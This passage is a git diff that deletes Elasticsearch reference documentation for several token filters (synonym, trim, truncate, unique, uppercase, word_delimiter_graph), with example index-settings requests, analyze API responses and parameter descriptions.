-[source,synonyms]
---------------------------------------------------
-include::{es-test-dir}/cluster/config/analysis/synonym.txt[]
---------------------------------------------------
-
-You can also define synonyms for the filter directly in the
-configuration file (note use of `synonyms` instead of `synonyms_path`):
-
-[source,console]
---------------------------------------------------
-PUT /test_index
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "filter": {
-          "synonym": {
-            "type": "synonym_graph",
-            "synonyms": [
-              "lol, laughing out loud",
-              "universe, cosmos"
-            ]
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-However, it is recommended to define large synonyms set in a file using
-`synonyms_path`, because specifying them inline increases cluster size unnecessarily.
-
-[discrete]
-==== WordNet synonyms
-
-Synonyms based on https://wordnet.princeton.edu/[WordNet] format can be
-declared using `format`:
-
-[source,console]
---------------------------------------------------
-PUT /test_index
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "filter": {
-          "synonym": {
-            "type": "synonym_graph",
-            "format": "wordnet",
-            "synonyms": [
-              "s(100000001,1,'abstain',v,1,0).",
-              "s(100000001,2,'refrain',v,1,0).",
-              "s(100000001,3,'desist',v,1,0)."
-            ]
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Using `synonyms_path` to define WordNet synonyms in a file is supported
-as well.
-
-[discrete]
-==== Parsing synonym files
-
-Elasticsearch will use the token filters preceding the synonym filter
-in a tokenizer chain to parse the entries in a synonym file.  So, for example, if a
-synonym filter is placed after a stemmer, then the stemmer will also be applied
-to the synonym entries.  Because entries in the synonym map cannot have stacked
-positions, some token filters may cause issues here.  Token filters that produce
-multiple versions of a token may choose which version of the token to emit when
-parsing synonyms, e.g. `asciifolding` will only produce the folded version of the
-token.  Others, e.g. `multiplexer`, `word_delimiter_graph` or `ngram` will throw an
-error.
-
-If you need to build analyzers that include both multi-token filters and synonym
-filters, consider using the <<analysis-multiplexer-tokenfilter,multiplexer>> filter,
-with the multi-token filters in one branch and the synonym filter in the other.
-
-WARNING: The synonym rules should not contain words that are removed by
-a filter that appears after in the chain (a `stop` filter for instance).
-Removing a term from a synonym rule breaks the matching at query time.
-
diff --git a/docs/reference/analysis/tokenfilters/synonym-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/synonym-tokenfilter.asciidoc
deleted file mode 100644
index 77cf7f371df..00000000000
--- a/docs/reference/analysis/tokenfilters/synonym-tokenfilter.asciidoc
+++ /dev/null
@@ -1,184 +0,0 @@
-[[analysis-synonym-tokenfilter]]
-=== Synonym token filter
-++++
-<titleabbrev>Synonym</titleabbrev>
-++++
-
-The `synonym` token filter allows to easily handle synonyms during the
-analysis process. Synonyms are configured using a configuration file.
-Here is an example:
-
-[source,console]
---------------------------------------------------
-PUT /test_index
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "synonym": {
-            "tokenizer": "whitespace",
-            "filter": [ "synonym" ]
-          }
-        },
-        "filter": {
-          "synonym": {
-            "type": "synonym",
-            "synonyms_path": "analysis/synonym.txt"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The above configures a `synonym` filter, with a path of
-`analysis/synonym.txt` (relative to the `config` location). The
-`synonym` analyzer is then configured with the filter.
-
-This filter tokenizes synonyms with whatever tokenizer and token filters
-appear before it in the chain.
-
-Additional settings are:
-
-* `expand` (defaults to `true`).
-* `lenient` (defaults to `false`). If `true` ignores exceptions while parsing the synonym configuration. It is important
-to note that only those synonym rules which cannot get parsed are ignored. For instance consider the following request:
- 
-
-[source,console]
---------------------------------------------------
-PUT /test_index
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "synonym": {
-            "tokenizer": "standard",
-            "filter": [ "my_stop", "synonym" ]
-          }
-        },
-        "filter": {
-          "my_stop": {
-            "type": "stop",
-            "stopwords": [ "bar" ]
-          },
-          "synonym": {
-            "type": "synonym",
-            "lenient": true,
-            "synonyms": [ "foo, bar => baz" ]
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-With the above request the word `bar` gets skipped but a mapping `foo => baz` is still added. However, if the mapping
-being added was `foo, baz => bar` nothing would get added to the synonym list. This is because the target word for the
-mapping is itself eliminated because it was a stop word. Similarly, if the mapping was "bar, foo, baz" and `expand` was
-set to `false` no mapping would get added as when `expand=false` the target mapping is the first word. However, if
-`expand=true` then the mappings added would be equivalent to `foo, baz => foo, baz` i.e, all mappings other than the
-stop word.
-
-
-[discrete]
-[[synonym-tokenizer-ignore_case-deprecated]]
-==== `tokenizer` and `ignore_case` are deprecated
-
-The `tokenizer` parameter controls the tokenizers that will be used to
-tokenize the synonym, this parameter is for backwards compatibility for indices that created before 6.0.
-The `ignore_case` parameter works with `tokenizer` parameter only.
-
-Two synonym formats are supported: Solr, WordNet.
-
-[discrete]
-==== Solr synonyms
-
-The following is a sample format of the file:
-
-[source,synonyms]
---------------------------------------------------
-include::{es-test-dir}/cluster/config/analysis/synonym.txt[]
---------------------------------------------------
-
-You can also define synonyms for the filter directly in the
-configuration file (note use of `synonyms` instead of `synonyms_path`):
-
-[source,console]
---------------------------------------------------
-PUT /test_index
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "filter": {
-          "synonym": {
-            "type": "synonym",
-            "synonyms": [
-              "i-pod, i pod => ipod",
-              "universe, cosmos"
-            ]
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-However, it is recommended to define large synonyms set in a file using
-`synonyms_path`, because specifying them inline increases cluster size unnecessarily.
-
-[discrete]
-==== WordNet synonyms
-
-Synonyms based on https://wordnet.princeton.edu/[WordNet] format can be
-declared using `format`:
-
-[source,console]
---------------------------------------------------
-PUT /test_index
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "filter": {
-          "synonym": {
-            "type": "synonym",
-            "format": "wordnet",
-            "synonyms": [
-              "s(100000001,1,'abstain',v,1,0).",
-              "s(100000001,2,'refrain',v,1,0).",
-              "s(100000001,3,'desist',v,1,0)."
-            ]
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Using `synonyms_path` to define WordNet synonyms in a file is supported
-as well.
-
-[discrete]
-=== Parsing synonym files
-
-Elasticsearch will use the token filters preceding the synonym filter
-in a tokenizer chain to parse the entries in a synonym file.  So, for example, if a
-synonym filter is placed after a stemmer, then the stemmer will also be applied
-to the synonym entries.  Because entries in the synonym map cannot have stacked
-positions, some token filters may cause issues here.  Token filters that produce
-multiple versions of a token may choose which version of the token to emit when
-parsing synonyms, e.g. `asciifolding` will only produce the folded version of the
-token.  Others, e.g. `multiplexer`, `word_delimiter_graph` or `ngram` will throw an
-error.
-
-If you need to build analyzers that include both multi-token filters and synonym
-filters, consider using the <<analysis-multiplexer-tokenfilter,multiplexer>> filter,
-with the multi-token filters in one branch and the synonym filter in the other.
diff --git a/docs/reference/analysis/tokenfilters/trim-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/trim-tokenfilter.asciidoc
deleted file mode 100644
index b69f71b7bdc..00000000000
--- a/docs/reference/analysis/tokenfilters/trim-tokenfilter.asciidoc
+++ /dev/null
@@ -1,113 +0,0 @@
-[[analysis-trim-tokenfilter]]
-=== Trim token filter
-++++
-<titleabbrev>Trim</titleabbrev>
-++++
-
-Removes leading and trailing whitespace from each token in a stream. While this
-can change the length of a token, the `trim` filter does _not_ change a token's
-offsets.
-
-The `trim` filter uses Lucene's
-https://lucene.apache.org/core/{lucene_version_path}/analyzers-common/org/apache/lucene/analysis/miscellaneous/TrimFilter.html[TrimFilter].
-
-[TIP]
-====
-Many commonly used tokenizers, such as the
-<<analysis-standard-tokenizer,`standard`>> or
-<<analysis-whitespace-tokenizer,`whitespace`>> tokenizer, remove whitespace by
-default. When using these tokenizers, you don't need to add a separate `trim`
-filter.
-====
-
-[[analysis-trim-tokenfilter-analyze-ex]]
-==== Example
-
-To see how the `trim` filter works, you first need to produce a token
-containing whitespace.
-
-The following <<indices-analyze,analyze API>> request uses the
-<<analysis-keyword-tokenizer,`keyword`>> tokenizer to produce a token for 
-`" fox "`.
-
-[source,console]
-----
-GET _analyze
-{
-  "tokenizer" : "keyword",
-  "text" : " fox "
-}
-----
-
-The API returns the following response. Note the `" fox "` token contains the
-original text's whitespace. Note that despite changing the token's length, the
-`start_offset` and `end_offset` remain the same.
-
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": " fox ",
-      "start_offset": 0,
-      "end_offset": 5,
-      "type": "word",
-      "position": 0
-    }
-  ]
-}
-----
-
-To remove the whitespace, add the `trim` filter to the previous analyze API
-request.
-
-[source,console]
-----
-GET _analyze
-{
-  "tokenizer" : "keyword",
-  "filter" : ["trim"],
-  "text" : " fox "
-}
-----
-
-The API returns the following response. The returned `fox` token does not
-include any leading or trailing whitespace.
-
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "fox",
-      "start_offset": 0,
-      "end_offset": 5,
-      "type": "word",
-      "position": 0
-    }
-  ]
-}
-----
-
-[[analysis-trim-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the `trim`
-filter to configure a new <<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
-----
-PUT trim_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "keyword_trim": {
-          "tokenizer": "keyword",
-          "filter": [ "trim" ]
-        }
-      }
-    }
-  }
-}
-----
\ No newline at end of file
diff --git a/docs/reference/analysis/tokenfilters/truncate-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/truncate-tokenfilter.asciidoc
deleted file mode 100644
index a77387d5fd4..00000000000
--- a/docs/reference/analysis/tokenfilters/truncate-tokenfilter.asciidoc
+++ /dev/null
@@ -1,148 +0,0 @@
-[[analysis-truncate-tokenfilter]]
-=== Truncate token filter
-++++
-<titleabbrev>Truncate</titleabbrev>
-++++
-
-Truncates tokens that exceed a specified character limit. This limit defaults to
-`10` but can be customized using the `length` parameter.
-
-For example, you can use the `truncate` filter to shorten all tokens to
-`3` characters or fewer, changing `jumping fox` to `jum fox`.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/miscellaneous/TruncateTokenFilter.html[TruncateTokenFilter].
-
-[[analysis-truncate-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `truncate` filter
-to shorten tokens that exceed 10 characters in
-`the quinquennial extravaganza carried on`:
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer" : "whitespace",
-  "filter" : ["truncate"],
-  "text" : "the quinquennial extravaganza carried on"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ the, quinquenni, extravagan, carried, on ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "the",
-      "start_offset" : 0,
-      "end_offset" : 3,
-      "type" : "word",
-      "position" : 0
-    },
-    {
-      "token" : "quinquenni",
-      "start_offset" : 4,
-      "end_offset" : 16,
-      "type" : "word",
-      "position" : 1
-    },
-    {
-      "token" : "extravagan",
-      "start_offset" : 17,
-      "end_offset" : 29,
-      "type" : "word",
-      "position" : 2
-    },
-    {
-      "token" : "carried",
-      "start_offset" : 30,
-      "end_offset" : 37,
-      "type" : "word",
-      "position" : 3
-    },
-    {
-      "token" : "on",
-      "start_offset" : 38,
-      "end_offset" : 40,
-      "type" : "word",
-      "position" : 4
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-truncate-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`truncate` filter to configure a new 
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT custom_truncate_example
-{
-  "settings" : {
-    "analysis" : {
-      "analyzer" : {
-        "standard_truncate" : {
-        "tokenizer" : "standard",
-        "filter" : ["truncate"]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[analysis-truncate-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`length`::
-(Optional, integer)
-Character limit for each token. Tokens exceeding this limit are truncated.
-Defaults to `10`.
-
-[[analysis-truncate-tokenfilter-customize]]
-==== Customize
-
-To customize the `truncate` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following request creates a custom `truncate` filter,
-`5_char_trunc`, that shortens tokens to a `length` of `5` or fewer characters:
-
-[source,console]
---------------------------------------------------
-PUT 5_char_words_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "lowercase_5_char": {
-          "tokenizer": "lowercase",
-          "filter": [ "5_char_trunc" ]
-        }
-      },
-      "filter": {
-        "5_char_trunc": {
-          "type": "truncate",
-          "length": 5
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
\ No newline at end of file
diff --git a/docs/reference/analysis/tokenfilters/unique-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/unique-tokenfilter.asciidoc
deleted file mode 100644
index 5afed11923a..00000000000
--- a/docs/reference/analysis/tokenfilters/unique-tokenfilter.asciidoc
+++ /dev/null
@@ -1,150 +0,0 @@
-[[analysis-unique-tokenfilter]]
-=== Unique token filter
-++++
-<titleabbrev>Unique</titleabbrev>
-++++
-
-Removes duplicate tokens from a stream. For example, you can use the `unique`
-filter to change `the lazy lazy dog` to `the lazy dog`.
-
-If the `only_on_same_position` parameter is set to `true`, the `unique` filter
-removes only duplicate tokens _in the same position_.
-
-[NOTE]
-====
-When `only_on_same_position` is `true`, the `unique` filter works the same as
-<<analysis-remove-duplicates-tokenfilter,`remove_duplicates`>> filter.
-====
-
-[[analysis-unique-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `unique` filter
-to remove duplicate tokens from `the quick fox jumps the lazy fox`:
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer" : "whitespace",
-  "filter" : ["unique"],
-  "text" : "the quick fox jumps the lazy fox"
-}
---------------------------------------------------
-
-The filter removes duplicated tokens for `the` and `fox`, producing the
-following output:
-
-[source,text]
---------------------------------------------------
-[ the, quick, fox, jumps, lazy ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "the",
-      "start_offset" : 0,
-      "end_offset" : 3,
-      "type" : "word",
-      "position" : 0
-    },
-    {
-      "token" : "quick",
-      "start_offset" : 4,
-      "end_offset" : 9,
-      "type" : "word",
-      "position" : 1
-    },
-    {
-      "token" : "fox",
-      "start_offset" : 10,
-      "end_offset" : 13,
-      "type" : "word",
-      "position" : 2
-    },
-    {
-      "token" : "jumps",
-      "start_offset" : 14,
-      "end_offset" : 19,
-      "type" : "word",
-      "position" : 3
-    },
-    {
-      "token" : "lazy",
-      "start_offset" : 24,
-      "end_offset" : 28,
-      "type" : "word",
-      "position" : 4
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-unique-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`unique` filter to configure a new <<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT custom_unique_example
-{
-  "settings" : {
-    "analysis" : {
-      "analyzer" : {
-        "standard_truncate" : {
-        "tokenizer" : "standard",
-        "filter" : ["unique"]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[analysis-unique-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`only_on_same_position`::
-(Optional, Boolean)
-If `true`, only remove duplicate tokens in the same position.
-Defaults to `false`.
-
-[[analysis-unique-tokenfilter-customize]]
-==== Customize
-
-To customize the `unique` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following request creates a custom `unique` filter with
-`only_on_same_position` set to `true`.
-
-[source,console]
---------------------------------------------------
-PUT letter_unique_pos_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "letter_unique_pos": {
-          "tokenizer": "letter",
-          "filter": [ "unique_pos" ]
-        }
-      },
-      "filter": {
-        "unique_pos": {
-          "type": "unique",
-          "only_on_same_position": true
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/uppercase-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/uppercase-tokenfilter.asciidoc
deleted file mode 100644
index 9192a46810a..00000000000
--- a/docs/reference/analysis/tokenfilters/uppercase-tokenfilter.asciidoc
+++ /dev/null
@@ -1,106 +0,0 @@
-[[analysis-uppercase-tokenfilter]]
-=== Uppercase token filter
-++++
-<titleabbrev>Uppercase</titleabbrev>
-++++
-
-Changes token text to uppercase. For example, you can use the `uppercase` filter
-to change `the Lazy DoG` to `THE LAZY DOG`.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/core/UpperCaseFilter.html[UpperCaseFilter].
-
-[WARNING]
-====
-Depending on the language, an uppercase character can map to multiple
-lowercase characters. Using the `uppercase` filter could result in the loss of
-lowercase character information.
-
-To avoid this loss but still have a consistent letter case, use the
-<<analysis-lowercase-tokenfilter,`lowercase`>> filter instead.
-====
-
-[[analysis-uppercase-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the default
-`uppercase` filter to change the `the Quick FoX JUMPs` to uppercase:
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer" : "standard",
-  "filter" : ["uppercase"],
-  "text" : "the Quick FoX JUMPs"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ THE, QUICK, FOX, JUMPS ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "THE",
-      "start_offset" : 0,
-      "end_offset" : 3,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "QUICK",
-      "start_offset" : 4,
-      "end_offset" : 9,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    },
-    {
-      "token" : "FOX",
-      "start_offset" : 10,
-      "end_offset" : 13,
-      "type" : "<ALPHANUM>",
-      "position" : 2
-    },
-    {
-      "token" : "JUMPS",
-      "start_offset" : 14,
-      "end_offset" : 19,
-      "type" : "<ALPHANUM>",
-      "position" : 3
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-uppercase-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`uppercase` filter to configure a new 
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT uppercase_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "whitespace_uppercase": {
-          "tokenizer": "whitespace",
-          "filter": [ "uppercase" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/word-delimiter-graph-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/word-delimiter-graph-tokenfilter.asciidoc
deleted file mode 100644
index 2999df6a9a1..00000000000
--- a/docs/reference/analysis/tokenfilters/word-delimiter-graph-tokenfilter.asciidoc
+++ /dev/null
@@ -1,505 +0,0 @@
-[[analysis-word-delimiter-graph-tokenfilter]]
-=== Word delimiter graph token filter
-++++
-<titleabbrev>Word delimiter graph</titleabbrev>
-++++
-
-Splits tokens at non-alphanumeric characters. The `word_delimiter_graph` filter
-also performs optional token normalization based on a set of rules. By default,
-the filter uses the following rules:
-
-* Split tokens at non-alphanumeric characters.
-  The filter uses these characters as delimiters.
-  For example: `Super-Duper` -> `Super`, `Duper`
-* Remove leading or trailing delimiters from each token.
-  For example: `XL---42+'Autocoder'` -> `XL`, `42`, `Autocoder`
-* Split tokens at letter case transitions.
-  For example: `PowerShot` -> `Power`, `Shot`
-* Split tokens at letter-number transitions.
-  For example: `XL500` -> `XL`, `500`
-* Remove the English possessive (`'s`) from the end of each token.
-  For example: `Neil's` -> `Neil`
-
-The `word_delimiter_graph` filter uses Lucene's
-{lucene-analysis-docs}/miscellaneous/WordDelimiterGraphFilter.html[WordDelimiterGraphFilter].
-
-[TIP]
-====
-The `word_delimiter_graph` filter was designed to remove punctuation from
-complex identifiers, such as product IDs or part numbers. For these use cases,
-we recommend using the `word_delimiter_graph` filter with the
-<<analysis-keyword-tokenizer,`keyword`>> tokenizer.
-
-Avoid using the `word_delimiter_graph` filter to split hyphenated words, such as
-`wi-fi`. Because users often search for these words both with and without
-hyphens, we recommend using the
-<<analysis-synonym-graph-tokenfilter,`synonym_graph`>> filter instead.
-====
-
-[[analysis-word-delimiter-graph-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the
-`word_delimiter_graph` filter to split `Neil's-Super-Duper-XL500--42+AutoCoder`
-into normalized tokens using the filter's default rules:
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "keyword",
-  "filter": [ "word_delimiter_graph" ],
-  "text": "Neil's-Super-Duper-XL500--42+AutoCoder"
-}
-----
-
-The filter produces the following tokens:
-
-[source,txt]
-----
-[ Neil, Super, Duper, XL, 500, 42, Auto, Coder ]
-----
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "Neil",
-      "start_offset": 0,
-      "end_offset": 4,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "Super",
-      "start_offset": 7,
-      "end_offset": 12,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "Duper",
-      "start_offset": 13,
-      "end_offset": 18,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "XL",
-      "start_offset": 19,
-      "end_offset": 21,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "500",
-      "start_offset": 21,
-      "end_offset": 24,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "42",
-      "start_offset": 26,
-      "end_offset": 28,
-      "type": "word",
-      "position": 5
-    },
-    {
-      "token": "Auto",
-      "start_offset": 29,
-      "end_offset": 33,
-      "type": "word",
-      "position": 6
-    },
-    {
-      "token": "Coder",
-      "start_offset": 33,
-      "end_offset": 38,
-      "type": "word",
-      "position": 7
-    }
-  ]
-}
-----
-////
-
-[[analysis-word-delimiter-graph-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`word_delimiter_graph` filter to configure a new
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "keyword",
-          "filter": [ "word_delimiter_graph" ]
-        }
-      }
-    }
-  }
-}
-----
-
-[WARNING]
-====
-Avoid using the `word_delimiter_graph` filter with tokenizers that remove
-punctuation, such as the <<analysis-standard-tokenizer,`standard`>> tokenizer.
-This could prevent the `word_delimiter_graph` filter from splitting tokens
-correctly. It can also interfere with the filter's configurable parameters, such
-as <<word-delimiter-graph-tokenfilter-catenate-all,`catenate_all`>> or
-<<word-delimiter-graph-tokenfilter-preserve-original,`preserve_original`>>. We
-recommend using the <<analysis-keyword-tokenizer,`keyword`>> or
-<<analysis-whitespace-tokenizer,`whitespace`>> tokenizer instead.
-====
-
-[[word-delimiter-graph-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-[[word-delimiter-graph-tokenfilter-adjust-offsets]]
-`adjust_offsets`::
-+
---
-(Optional, Boolean)
-If `true`, the filter adjusts the offsets of split or catenated tokens to better
-reflect their actual position in the token stream. Defaults to `true`.
-
-[WARNING]
-====
-Set `adjust_offsets` to `false` if your analyzer uses filters, such as the
-<<analysis-trim-tokenfilter,`trim`>> filter, that change the length of tokens
-without changing their offsets. Otherwise, the `word_delimiter_graph` filter
-could produce tokens with illegal offsets.
-====
---
-
-[[word-delimiter-graph-tokenfilter-catenate-all]]
-`catenate_all`::
-+
---
-(Optional, Boolean)
-If `true`, the filter produces catenated tokens for chains of alphanumeric
-characters separated by non-alphabetic delimiters. For example:
-`super-duper-xl-500` -> [ **`superduperxl500`**, `super`, `duper`, `xl`, `500` ].
-Defaults to `false`.
-
-[WARNING]
-====
-Setting this parameter to `true` produces multi-position tokens, which are not
-supported by indexing.
-
-If this parameter is `true`, avoid using this filter in an index analyzer or
-use the <<analysis-flatten-graph-tokenfilter,`flatten_graph`>> filter after
-this filter to make the token stream suitable for indexing.
-
-When used for search analysis, catenated tokens can cause problems for the
-<<query-dsl-match-query-phrase,`match_phrase`>> query and other queries that
-rely on token position for matching. Avoid setting this parameter to `true` if
-you plan to use these queries.
-====
---
-
-[[word-delimiter-graph-tokenfilter-catenate-numbers]]
-`catenate_numbers`::
-+
---
-(Optional, Boolean)
-If `true`, the filter produces catenated tokens for chains of numeric characters
-separated by non-alphabetic delimiters. For example: `01-02-03` ->
-[ **`010203`**, `01`, `02`, `03` ]. Defaults to `false`.
-
-[WARNING]
-====
-Setting this parameter to `true` produces multi-position tokens, which are not
-supported by indexing.
-
-If this parameter is `true`, avoid using this filter in an index analyzer or
-use the <<analysis-flatten-graph-tokenfilter,`flatten_graph`>> filter after
-this filter to make the token stream suitable for indexing.
-
-When used for search analysis, catenated tokens can cause problems for the
-<<query-dsl-match-query-phrase,`match_phrase`>> query and other queries that
-rely on token position for matching. Avoid setting this parameter to `true` if
-you plan to use these queries.
-====
---
-
-[[word-delimiter-graph-tokenfilter-catenate-words]]
-`catenate_words`::
-+
---
-(Optional, Boolean)
-If `true`, the filter produces catenated tokens for chains of alphabetical
-characters separated by non-alphabetic delimiters. For example: `super-duper-xl`
--> [ **`superduperxl`**, `super`, `duper`, `xl` ]. Defaults to `false`.
-
-[WARNING]
-====
-Setting this parameter to `true` produces multi-position tokens, which are not
-supported by indexing.
-
-If this parameter is `true`, avoid using this filter in an index analyzer or
-use the <<analysis-flatten-graph-tokenfilter,`flatten_graph`>> filter after
-this filter to make the token stream suitable for indexing.
-
-When used for search analysis, catenated tokens can cause problems for the
-<<query-dsl-match-query-phrase,`match_phrase`>> query and other queries that
-rely on token position for matching. Avoid setting this parameter to `true` if
-you plan to use these queries.
-====
---
-
-`generate_number_parts`::
-(Optional, Boolean)
-If `true`, the filter includes tokens consisting of only numeric characters in
-the output. If `false`, the filter excludes these tokens from the output.
-Defaults to `true`.
-
-`generate_word_parts`::
-(Optional, Boolean)
-If `true`, the filter includes tokens consisting of only alphabetical characters
-in the output. If `false`, the filter excludes these tokens from the output.
-Defaults to `true`.
-
-`ignore_keywords`::
-(Optional, Boolean)
-If `true`, the filter skips tokens with
-a `keyword` attribute of `true`.
-Defaults to `false`.
-
-[[word-delimiter-graph-tokenfilter-preserve-original]]
-`preserve_original`::
-+
---
-(Optional, Boolean)
-If `true`, the filter includes the original version of any split tokens in the
-output. This original version includes non-alphanumeric delimiters. For example:
-`super-duper-xl-500` -> [ **`super-duper-xl-500`**, `super`, `duper`, `xl`,
-`500` ]. Defaults to `false`.
-
-[WARNING]
-====
-Setting this parameter to `true` produces multi-position tokens, which are not
-supported by indexing.
-
-If this parameter is `true`, avoid using this filter in an index analyzer or
-use the <<analysis-flatten-graph-tokenfilter,`flatten_graph`>> filter after
-this filter to make the token stream suitable for indexing.
-====
---
-
-`protected_words`::
-(Optional, array of strings)
-Array of tokens the filter won't split.
-
-`protected_words_path`::
-+
---
-(Optional, string)
-Path to a file that contains a list of tokens the filter won't split.
-
-This path must be absolute or relative to the `config` location, and the file
-must be UTF-8 encoded. Each token in the file must be separated by a line
-break.
---
-
-`split_on_case_change`::
-(Optional, Boolean)
-If `true`, the filter splits tokens at letter case transitions. For example:
-`camelCase` -> [ `camel`, `Case` ]. Defaults to `true`.
-
-`split_on_numerics`::
-(Optional, Boolean)
-If `true`, the filter splits tokens at letter-number transitions. For example:
-`j2se` -> [ `j`, `2`, `se` ]. Defaults to `true`.
-
-`stem_english_possessive`::
-(Optional, Boolean)
-If `true`, the filter removes the English possessive (`'s`) from the end of each
-token. For example: `O'Neil's` -> [ `O`, `Neil` ]. Defaults to `true`.
-
-`type_table`::
-+
---
-(Optional, array of strings)
-Array of custom type mappings for characters. This allows you to map
-non-alphanumeric characters as numeric or alphanumeric to avoid splitting on
-those characters.
-
-For example, the following array maps the plus (`+`) and hyphen (`-`) characters
-as alphanumeric, which means they won't be treated as delimiters:
-
-`[ "+ => ALPHA", "- => ALPHA" ]`
-
-Supported types include:
-
-* `ALPHA` (Alphabetical)
-* `ALPHANUM` (Alphanumeric)
-* `DIGIT` (Numeric)
-* `LOWER` (Lowercase alphabetical)
-* `SUBWORD_DELIM` (Non-alphanumeric delimiter)
-* `UPPER` (Uppercase alphabetical)
---
-
-`type_table_path`::
-+
---
-(Optional, string)
-Path to a file that contains custom type mappings for characters. This allows
-you to map non-alphanumeric characters as numeric or alphanumeric to avoid
-splitting on those characters.
-
-For example, the contents of this file may contain the following:
-
-[source,txt]
-----
-# Map the $, %, '.', and ',' characters to DIGIT
-# This might be useful for financial data.
-$ => DIGIT
-% => DIGIT
-. => DIGIT
-\\u002C => DIGIT
-
-# in some cases you might not want to split on ZWJ
-# this also tests the case where we need a bigger byte[]
-# see https://en.wikipedia.org/wiki/Zero-width_joiner
-\\u200D => ALPHANUM
-----
-
-Supported types include:
-
-* `ALPHA` (Alphabetical)
-* `ALPHANUM` (Alphanumeric)
-* `DIGIT` (Numeric)
-* `LOWER` (Lowercase alphabetical)
-* `SUBWORD_DELIM` (Non-alphanumeric delimiter)
-* `UPPER` (Uppercase alphabetical)
-
-This file path must be absolute or relative to the `config` location, and the
-file must be UTF-8 encoded. Each mapping in the file must be separated by a line
-break.
---
-
-[[analysis-word-delimiter-graph-tokenfilter-customize]]
-==== Customize
-
-To customize the `word_delimiter_graph` filter, duplicate it to create the basis
